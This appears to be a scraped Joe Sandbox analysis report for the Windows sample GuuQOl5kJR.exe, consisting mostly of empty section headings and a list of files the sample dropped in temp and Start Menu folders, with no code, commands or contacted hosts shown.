Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Desktop\Varda.ini

C:\Users\user\AppData\Local\Temp\Alpha.ini

C:\Users\user\AppData\Local\Temp\nsaB181.tmp

C:\Users\user\AppData\Local\Temp\nsbCC21.tmp

C:\Users\user\AppData\Local\Temp\nscCEE2.tmp

C:\Users\user\AppData\Local\Temp\nslCC10.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsmCD4B.tmp

C:\Users\user\AppData\Local\Temp\nsqCA0C.tmp

C:\Users\user\AppData\Local\Temp\nsyD309.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Isoionone.ang

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Litiscontest.jpg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Tiggerstavens.fes

Windows Analysis Report
GuuQOl5kJR.exe